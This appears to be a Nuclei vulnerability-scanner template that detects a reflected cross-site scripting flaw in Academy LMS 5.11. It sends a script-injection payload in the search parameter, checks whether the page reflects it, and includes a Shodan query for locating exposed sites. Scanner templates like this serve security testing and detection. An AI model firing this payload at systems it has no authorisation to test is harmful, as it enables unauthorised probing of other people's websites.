id: academy-lms-xss

info:
  name: Academy LMS 5.11 - Cross Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Academy Learning Management System contains a reflected cross-site scripting vulnerability via the Search parameter.
  reference:
    - https://packetstormsecurity.com/files/170514/Academy-LMS-5.11-Cross-Site-Scripting.html
    - https://vulners.com/packetstorm/PACKETSTORM:170514
  metadata:
    verified: "true"
    shodan-query: http.html:"Academy LMS"
  tags: packetstorm,lms,academy,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'Academy LMS'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200